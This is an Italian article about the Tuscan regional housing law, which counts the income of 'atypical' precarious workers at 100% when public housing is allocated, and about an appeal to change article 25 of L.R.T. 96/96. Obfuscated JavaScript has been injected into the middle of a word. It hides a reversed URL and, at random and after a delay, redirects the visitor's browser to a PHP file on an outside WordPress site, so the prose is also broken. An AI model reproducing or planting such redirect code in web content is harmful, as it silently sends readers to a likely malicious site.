Atipici e senza casa!

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Nella giungla delle leggi e dei decreti vigenti nella nostra Regione sussistono troppo spesso lacune gravi che possono danneggiare seriamente soggetti già svantaggiati. Caso esemplare può essere considerato quello dei B (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi per l’assegnazione degli alloggi pubblici, dove ai partecipanti viene richiesto di specificare il proprio status di lavoratori, così se per i dipendenti è previsto che il reddito totale sia abbattuto del 40%, per i lavoratori autonomi il reddito viene invece calcolato al 100%. Il fatto sconcertante è che in questa Legge Regionale viene del tutto ignorato il caso degli Atipici, una categoria di lavoratori precari che, essendo esclusi dal sistema dei diritti e delle tutele riservate a tutti gli altri occupati, non dovrebbe essere considerata equivalente alle forme di lavoro autonomo. Per questo motivo, ai legislatori della Regione Toscana è stato inoltrato un Appello in cui viene richiesta la modifica urgente di quanto disposto dall’articolo 25 L.R.T. 96/96, dove al comma 1 non è prevista nessuna agevolazione per i soggetti atipici. Obiettivo dei firmatari è che al prossimo Bando per alloggi pubblici (previsto per il 2003), possano concorrere anche i lavoratori Atipici usufruendo di detrazioni da stabilire correttamente (come già avviene per i lavoratori dipendenti) senza essere ulteriormente penalizzati.

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